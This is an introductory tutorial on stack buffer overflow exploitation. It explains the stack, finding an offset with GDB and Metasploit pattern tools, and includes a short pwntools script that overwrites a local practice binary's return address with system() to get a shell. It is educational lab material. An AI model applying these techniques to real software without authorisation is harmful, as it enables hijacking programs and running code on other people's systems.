TL;DR
This guide covers basic binary exploitation techniques to help you understand how attackers find and use weaknesses in programs. We’ll focus on buffer overflows, a common vulnerability.
1. Understanding the Basics
Binary exploitation involves finding flaws in compiled software (binaries) that allow an attacker to control the program’s execution flow. A key concept is the stack – a region of memory used for storing function calls and local variables.
- Stack: Think of it like a pile of plates. When you call a function, its information (arguments, return address) gets put on top. When the function finishes, that information is taken off.
- Buffer Overflow: Happens when a program writes more data into a buffer than it can hold. This overwrites adjacent memory locations, potentially including the return address.
2. Setting up Your Environment
You’ll need a vulnerable program and some tools.
- Vulnerable Program: We’ll use a simple example for demonstration purposes (often found on sites like Vulnhub). For this guide, assume you have a C program compiled into an executable called
vulnerable. - GDB (GNU Debugger): A powerful tool for examining the program’s state during execution. Install it using your system’s package manager (e.g.,
apt install gdbon Debian/Ubuntu). - pwntools: A Python library that simplifies exploit development. Install with
pip install pwntools.
3. Identifying the Vulnerability
Let’s find a buffer overflow in our example program.
- Run the Program: Execute
./vulnerableand observe its behaviour. Look for input prompts where you can provide data. - Fuzzing (Optional): Send large amounts of random data to the program to see if it crashes. This helps identify potential overflow points.
- Debugging with GDB: Start GDB with
gdb ./vulnerable.
4. Exploiting a Buffer Overflow
Now, let’s exploit the vulnerability.
- Find the Overflow Point: Use GDB to identify where the buffer is located and how much data it can hold. Set a breakpoint before the vulnerable function call:
break mainRun the program, then use
info frameorx/20xw $rsp(or similar commands depending on architecture) to examine the stack. - Determine Offset: Send a pattern of unique characters (e.g., using
msf-pattern_create -l 50from Metasploit) as input. When the program crashes, usemsf-pattern_offset -q <crash address>to find the offset to overwrite the return address. - Overwrite Return Address: The goal is to replace the original return address with an address of your choosing – typically a function like
system()or a shellcode location.
5. Writing the Exploit (pwntools)
Use pwntools to automate the exploit.
from pwn import *
# Configuration
context.binary = ELF('./vulnerable')
p = process(context.binary)
# Calculate offset (replace with your actual offset)
offset = 72 # Example offset
# Address of system() function (replace with your actual address)
system_addr = context.binary.symbols['system']
# Payload construction
payload = b'A' * offset + p64(system_addr) # 64-bit architecture example
# Send the payload
p.sendline(payload)
# Interact with the shell (if successful)
p.interactive()
Explanation:
context.binary = ELF('./vulnerable')loads information about the binary.process(context.binary)starts the program.offsetis the number of bytes to fill before overwriting the return address.system_addris the memory address of thesystem()function.- The payload consists of filler characters followed by the address of
system().
6. Running and Troubleshooting
- Run the Exploit: Execute your Python script.
- Debugging Issues: If it doesn’t work:
- Double-check the offset calculation.
- Verify the correct address of
system()or other target functions. - Ensure you are using the correct architecture (32-bit vs. 64-bit) and packing format (e.g.,
p32for 32-bit,p64for 64-bit). - Address Space Layout Randomization (ASLR) might be enabled; you may need to bypass it.

